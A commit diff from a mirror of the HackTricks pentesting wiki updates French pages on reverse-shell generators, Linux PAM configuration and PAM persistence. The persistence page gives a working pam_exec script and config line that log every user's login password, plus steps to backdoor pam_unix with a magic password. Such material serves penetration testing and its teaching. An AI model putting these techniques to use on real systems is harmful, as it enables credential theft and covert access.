mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['generic-methodologies-and-resources/shells/README.md', 'lin
This commit is contained in:
parent
574c47ce68
commit
9a04c09a24
15 changed files with 685 additions and 565 deletions
|
@ -1,16 +1,15 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -21,9 +20,9 @@
|
|||
|
||||
# [**MSFVenom - CheatSheet**](msfvenom.md)
|
||||
|
||||
# [**TTYs complets**](full-ttys.md)
|
||||
# [**Full TTYs**](full-ttys.md)
|
||||
|
||||
# **Shells générés automatiquement**
|
||||
# **Shells auto-générés**
|
||||
|
||||
* [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
|
||||
* [**https://www.revshells.com/**](https://www.revshells.com/)
|
||||
|
@ -35,3 +34,20 @@
|
|||
* [**https://weibell.github.io/reverse-shell-generator/**](https://weibell.github.io/reverse-shell-generator/)
|
||||
* [**https://github.com/t0thkr1s/revshellgen**](https://github.com/t0thkr1s/revshellgen)
|
||||
* [**https://github.com/mthbernardes/rsg**](https://github.com/mthbernardes/rsg)
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,29 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Sniffer les mots de passe de connexion avec PAM
|
||||
|
||||
Nous allons configurer un module PAM pour enregistrer chaque mot de passe que chaque utilisateur utilise pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
Configurons un module PAM pour enregistrer chaque mot de passe utilisé par chaque utilisateur lors de la connexion. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
|
||||
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Tout d'abord, nous créons un script bash qui sera invoqué chaque fois qu'une nouvelle authentification se produit.
|
||||
D'abord, nous créons un script bash qui sera invoqué à chaque nouvelle authentification.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
|
@ -33,31 +31,31 @@ Les variables sont spécifiques à PAM et seront disponibles via le module `pam_
|
|||
|
||||
Voici la signification des variables :
|
||||
|
||||
* **$PAM\_USER :** Le nom d'utilisateur qui a été saisi.
|
||||
* **$PAM\_RHOST :** L'hôte distant (généralement l'adresse IP)
|
||||
* **$PAM\_USER :** Le nom d'utilisateur qui a été entré.
|
||||
* **$PAM\_RHOST :** L'hôte distant (typiquement l'adresse IP)
|
||||
* **$(cat -) :** Ceci lit `stdin`, et contiendra le mot de passe que le script récupère
|
||||
* Les résultats sont redirigés vers un fichier journal dans `/var/log/toomanysecrets.log`
|
||||
* Les résultats sont redirigés dans un fichier journal à `/var/log/toomanysecrets.log`
|
||||
|
||||
Pour **empêcher tous les utilisateurs de lire** le fichier, envisagez de le créer à l'avance et d'exécuter `chmod`, par exemple :
|
||||
Pour **empêcher tous les utilisateurs de lire** le fichier, envisagez de le créer au préalable et d'exécuter `chmod`, par exemple :
|
||||
```bash
|
||||
sudo touch /var/log/toomanysecrets.sh
|
||||
sudo chmod 770 /var/log/toomanysecrets.sh
|
||||
```
|
||||
Ensuite, le fichier de configuration PAM doit être mis à jour pour utiliser le module `pam_exec` afin d'appeler le script.
|
||||
Ensuite, le fichier de configuration PAM doit être mis à jour, le module `pam_exec` sera utilisé pour invoquer le script.
|
||||
|
||||
Il existe différents fichiers de configuration situés dans `/etc/pam.d/`, et nous choisissons `common-auth`.
|
||||
Il existe divers fichiers de configuration situés dans `/etc/pam.d/`, et nous choisissons `common-auth`.
|
||||
```
|
||||
sudo nano /etc/pam.d/common-auth
|
||||
```
|
||||
Au tout bas du fichier, ajoutez le module d'authentification suivant :
|
||||
Ajoutez le module d'authentification suivant tout en bas du fichier :
|
||||
|
||||
`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
Les options ont la signification suivante :
|
||||
Les options ont les significations suivantes :
|
||||
|
||||
* **optional :** L'authentification ne doit pas échouer s'il y a une erreur (ce n'est pas une étape obligatoire)
|
||||
* **pam\_exec.so :** C'est le module PAM qui peut invoquer des scripts arbitraires
|
||||
* **expose\_authtok :** C'est le truc qui permet de lire le mot de passe via `stdin`
|
||||
* **pam\_exec.so :** C'est le module PAM "living off the land" qui peut invoquer des scripts arbitraires
|
||||
* **expose\_authtok :** C'est l'astuce qui permet de lire le mot de passe via `stdin`
|
||||
* **quiet :** Ne montrez aucune erreur à l'utilisateur (si quelque chose ne fonctionne pas)
|
||||
* Le dernier argument est le script shell qui a été créé précédemment
|
||||
|
||||
|
@ -67,35 +65,35 @@ Enfin, rendez le fichier exécutable :
|
|||
|
||||
`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
Maintenant, essayons cela et ssh depuis une autre machine, ou connectez-vous localement.
|
||||
Maintenant, essayons cela et connectons-nous depuis une autre machine, ou localement.
|
||||
|
||||
Et ensuite, regardez le fichier journal :
|
||||
```
|
||||
$ sudo cat /var/log/toomanysecrets.log
|
||||
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||||
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||||
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
```
|
||||
### Backdoor de PAM
|
||||
### Contournement de PAM
|
||||
|
||||
Allons aux sources de PAM (dépend de votre distribution, prenez le même numéro de version que le vôtre...) et cherchons autour des numéros de ligne 170/180 dans le fichier pam_unix_auth.c :
|
||||
Allons aux sources de PAM (selon votre distribution, prenez le même numéro de version que le vôtre..) et regardons autour des lignes 170/180 dans le fichier pam_unix_auth.c :
|
||||
```
|
||||
vi modules/pam_unix/pam_unix_auth.c
|
||||
```
|
||||
![](<../../.gitbook/assets/image (651).png>)
|
||||
|
||||
Modifions cela par :
|
||||
Changeons cela par :
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (2) (2).png>)
|
||||
|
||||
Cela permettra à n'importe quel utilisateur utilisant le **mot de passe "0xMitsurugi"** de se connecter.
|
||||
Cela permettra à tout utilisateur utilisant le **mot de passe "0xMitsurugi"** de se connecter.
|
||||
|
||||
Recompilez le fichier `pam_unix_auth.c` et remplacez le fichier pam\_unix.so :
|
||||
Recompilez le fichier `pam_unix_auth.c`, et remplacez le fichier pam\_unix.so :
|
||||
```bash
|
||||
make
|
||||
sudo cp \
|
||||
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
|
||||
/lib/x86_64-linux-gnu/security/
|
||||
sudo cp \
|
||||
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
|
||||
/lib/x86_64-linux-gnu/security/
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Vous pouvez automatiser ce processus avec [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
@ -108,16 +106,14 @@ Vous pouvez automatiser ce processus avec [https://github.com/zephrax/linux-pam-
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
PAM est une collection de modules qui forment essentiellement une barrière entre un service sur votre système et l'utilisateur du service. Les modules peuvent avoir des objectifs très différents, allant de l'interdiction de connexion aux utilisateurs d'un groupe UNIX particulier \(ou d'un groupe de réseau, ou d'un sous-réseau...\), à la mise en place de limites de ressources afin que votre groupe de "recherche" ne puisse pas monopoliser les ressources système.
|
||||
PAM est une collection de modules qui forment essentiellement une barrière entre un service sur votre système et l'utilisateur du service. Les modules peuvent avoir des objectifs très variés, allant de l'interdiction de connexion aux utilisateurs d'un groupe UNIX particulier \(ou netgroup, ou sous-réseau…\), à la mise en œuvre de limites de ressources afin que votre groupe de ‘recherche’ ne puisse pas accaparer les ressources du système.
|
||||
|
||||
# Fichiers de configuration
|
||||
|
||||
Solaris et d'autres systèmes UNIX commerciaux ont un modèle de configuration légèrement différent, centré autour d'un seul fichier, **`/etc/pam.conf`**. Sur la plupart des systèmes Linux, ces fichiers de configuration se trouvent dans **`/etc/pam.d`**, et sont nommés d'après le service - par exemple, le fichier de configuration "login" s'appelle **`/etc/pam.d/login`**. Jetons un coup d'œil rapide à une version de ce fichier :
|
||||
Solaris et d'autres systèmes UNIX commerciaux ont un modèle de configuration légèrement différent, centré autour d'un seul fichier, **`/etc/pam.conf`**. Sur la plupart des systèmes Linux, ces fichiers de configuration se trouvent dans **`/etc/pam.d`**, et sont nommés d'après le service – par exemple, le fichier de configuration de ‘login’ s'appelle **`/etc/pam.d/login`**. Jetons un coup d'œil rapide à une version de ce fichier :
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_nologin.so
|
||||
|
@ -32,27 +30,27 @@ password required /lib/security/pam_ldap.so
|
|||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
## **Royaumes de gestion PAM**
|
||||
## **Domaines de gestion PAM**
|
||||
|
||||
La colonne de gauche peut contenir quatre mots uniques, qui représentent quatre royaumes de gestion PAM: **auth**, **account**, **password** et **session**. Bien qu'il existe de nombreux modules qui prennent en charge plus d'un de ces royaumes \(en effet, pam\_unix prend en charge tous les royaumes\), d'autres, comme pam\_cracklib par exemple, ne conviennent qu'à un seul \(la fonctionnalité «password» dans le cas de pam\_cracklib\).
|
||||
La colonne la plus à gauche peut contenir quatre mots uniques, qui représentent quatre domaines de gestion PAM : **auth**, **account**, **password** et **session**. Bien qu'il existe de nombreux modules qui prennent en charge plus d'un de ces domaines \(en effet, pam\_unix les prend tous en charge\), d'autres, comme pam\_cracklib par exemple, ne conviennent que pour un seul \(la fonctionnalité ‘password’ dans le cas de pam\_cracklib\).
|
||||
|
||||
* **auth**: Le royaume «auth» \(que j'appelle un royaume - les docs le désignent comme un «groupe de gestion» ou une «facilité»\) est responsable de la vérification que l'utilisateur est bien celui qu'il prétend être. Les modules qui peuvent être répertoriés dans cette zone prennent généralement en charge la demande d'un mot de passe.
|
||||
* **account**: Cette zone est responsable d'une large gamme de fonctionnalités de vérification de compte possibles. Il existe de nombreux modules disponibles pour cette facilité. Les contraintes à l'utilisation d'un service basées sur la vérification de l'appartenance à un groupe, l'heure de la journée, que le compte utilisateur est local ou distant, etc., sont généralement appliquées par des modules qui prennent en charge cette facilité.
|
||||
* **password**: Les modules de cette zone sont responsables de toute fonctionnalité nécessaire dans le cadre de la mise à jour des mots de passe pour un service donné. La plupart du temps, cette section est assez «banale», appelant simplement un module qui demandera un mot de passe actuel, et, en supposant que cela réussisse, vous demandera un nouveau mot de passe. D'autres modules pourraient être ajoutés pour effectuer une complexité de mot de passe ou une vérification de dictionnaire également, comme celle effectuée par les modules pam\_cracklib et pam\_pwcheck.
|
||||
* **session**: Les modules de cette zone effectuent un certain nombre de choses qui se produisent soit pendant la configuration ou le nettoyage d'un service pour un utilisateur donné. Cela peut inclure un certain nombre de choses; lancement d'un script d'initialisation à l'échelle du système, réalisation d'une journalisation spéciale, montage du répertoire personnel de l'utilisateur ou définition de limites de ressources.
|
||||
* **auth** : Le domaine ‘auth’ \(je l'appelle un domaine – les documents le désignent comme un ‘groupe de gestion’ ou une ‘fonctionnalité’\) est responsable de vérifier que l'utilisateur est bien celui qu'il prétend être. Les modules qui peuvent être listés dans cette zone prennent **généralement** en charge la **demande de mot de passe**.
|
||||
* **account** : Cette zone est responsable d'un large éventail de fonctionnalités possibles de **vérification de compte**. Il existe de nombreux modules disponibles pour cette fonctionnalité. Les contraintes d'utilisation d'un service basées sur la **vérification de l'appartenance à un groupe**, l'heure de la journée, si un compte utilisateur est local ou distant, etc., sont généralement appliquées par des modules qui prennent en charge cette fonctionnalité.
|
||||
* **password** : Les modules de cette zone sont responsables de toute fonctionnalité nécessaire dans le cadre de la **mise à jour des mots de passe** pour un service donné. La plupart du temps, cette section est assez banale, appelant simplement un module qui **demandera le mot de passe actuel**, et, en supposant que cela réussisse, vous invitera à en entrer un nouveau. D'autres modules pourraient être ajoutés pour effectuer des vérifications de **complexité de mot de passe** ou de dictionnaire également, comme celles effectuées par les modules pam\_cracklib et pam\_pwcheck.
|
||||
* **session** : Les modules de cette zone effectuent un certain nombre de choses qui se produisent soit **pendant la configuration ou le nettoyage d'un service** pour un utilisateur donné. Cela peut inclure un certain nombre de choses ; lancer un script d'initialisation système, effectuer une journalisation spéciale, **monter le répertoire personnel de l'utilisateur**, ou définir des limites de ressources.
|
||||
|
||||
## **Contrôles de module PAM**
|
||||
## **Contrôles des modules PAM**
|
||||
|
||||
La **colonne du milieu** contient un mot-clé qui détermine essentiellement ce que PAM doit faire si le module réussit ou échoue. Ces mots-clés sont appelés «contrôles» en langage PAM. Dans 90% des cas, vous pouvez utiliser l'un des mots-clés courants \(«requis», «obligatoire», «suffisant» ou «facultatif»\). Cependant, ce n'est que la pointe de l'iceberg en termes de libération de la flexibilité et de la puissance de PAM.
|
||||
La **colonne du milieu** contient un mot-clé qui détermine essentiellement ce que PAM doit faire si le module **réussit ou échoue**. Ces mots-clés sont appelés ‘**contrôles**’ dans le jargon PAM. Dans 90 % des cas, vous pouvez utiliser l'un des mots-clés courants \(**requisite**, **required**, **sufficient** ou **optional**\). Cependant, ce n'est que la pointe de l'iceberg en termes de libération de la flexibilité et de la puissance de PAM.
|
||||
|
||||
* **required**: Si un module «requis» renvoie un statut qui n'est pas «succès», l'opération échouera toujours, mais seulement après que les modules ci-dessous ont été invoqués. Cela semble absurde à première vue, je suppose, mais cela sert à toujours agir de la même manière du point de vue de l'utilisateur essayant d'utiliser le service. L'effet net est qu'il devient impossible pour un pirate potentiel de déterminer quel module a causé l'échec.
|
||||
* **requisite**: Si un module «requis» échoue, l'opération échoue non seulement, mais l'opération est immédiatement interrompue avec une erreur sans invoquer d'autres modules.
|
||||
* **sufficient**: Si un module «suffisant» réussit, il suffit de satisfaire les exigences des modules suffisants dans ce royaume pour l'utilisation du service, et les modules ci-dessous qui sont également répertoriés comme «suffisants» ne sont pas invoqués. S'il échoue, l'opération échoue à moins qu'un module invoqué après lui ne réussisse.
|
||||
* **optional**: Un module «facultatif», selon la page de manuel pam\(8\), ne fera échouer une opération que s'il est le seul module dans la pile pour cette facilité.
|
||||
* **required** : Si un module ‘required’ renvoie un statut qui n'est **pas ‘success’**, l'**opération échouera TOUJOURS**, mais seulement après que les **modules situés en dessous soient invoqués**. Cela peut sembler insensé à première vue, mais cela a pour but de **toujours agir de la même manière du point de vue de l'utilisateur** essayant d'utiliser le service. L'effet net est qu'il devient **impossible** pour un éventuel pirate de **déterminer** **quel** **module** a causé l'**échec**.
|
||||
* **requisite** : Si un module ‘requisite’ échoue, l'**opération** non seulement **échoue**, mais l'opération est **immédiatement** **terminée** avec un échec sans invoquer d'autres modules.
|
||||
* **sufficient** : Si un module **sufficient** **réussit**, cela suffit pour satisfaire les exigences des modules suffisants dans ce domaine pour l'utilisation du service, et **les modules situés en dessous qui sont également listés comme ‘sufficient’ ne sont pas invoqués**. **S'il échoue, l'opération échoue à moins qu'un module invoqué après lui ne réussisse**.
|
||||
* **optional** : Un module ''optional’, selon la page de manuel pam\(8\), **ne fera échouer une opération que s'il est le seul module dans la pile pour cette fonctionnalité**.
|
||||
|
||||
## Exemple
|
||||
|
||||
Dans notre fichier d'exemple, nous avons quatre modules empilés pour le royaume auth:
|
||||
Dans notre fichier d'exemple, nous avons quatre modules empilés pour le domaine auth :
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_env.so
|
||||
|
@ -61,7 +59,21 @@ auth required /lib/security/pam_unix.so try_first_pass
|
|||
```
|
||||
Comme les modules sont invoqués dans l'ordre, voici ce qui se passera :
|
||||
|
||||
1. Le module '**pam_securetty**' vérifiera son fichier de configuration, **`/etc/securetty`**, et vérifiera si le terminal utilisé pour cette connexion est répertorié dans le fichier. Si **ce n'est pas le cas, les connexions root ne seront pas autorisées**. Si vous essayez de vous connecter en tant que root sur un terminal "mauvais", ce module échouera. Étant donné qu'il est "requis", il invoquera toujours tous les modules de la pile. Cependant, même si chacun d'entre eux réussit, la connexion échouera. Il est intéressant de noter que si le module était répertorié comme "requis", l'opération se terminerait immédiatement par un échec, sans invoquer aucun des autres modules, quel que soit leur statut.
|
||||
2. Le module '**pam_env**' **définira des variables d'environnement** en fonction de ce que l'administrateur a configuré dans /etc/security/pam_env.conf. Sur une configuration par défaut de Redhat 9, Fedora Core 1 et Mandrake 9.2, le fichier de configuration pour ce module ne définit en fait aucune variable. Une bonne utilisation de cela pourrait être de définir automatiquement une variable d'environnement DISPLAY pour un utilisateur se connectant via SSH afin qu'il n'ait pas à le définir lui-même s'il veut envoyer un 'xterm' vers son bureau à distance (bien que cela puisse être pris en charge automatiquement par OpenSSH).
|
||||
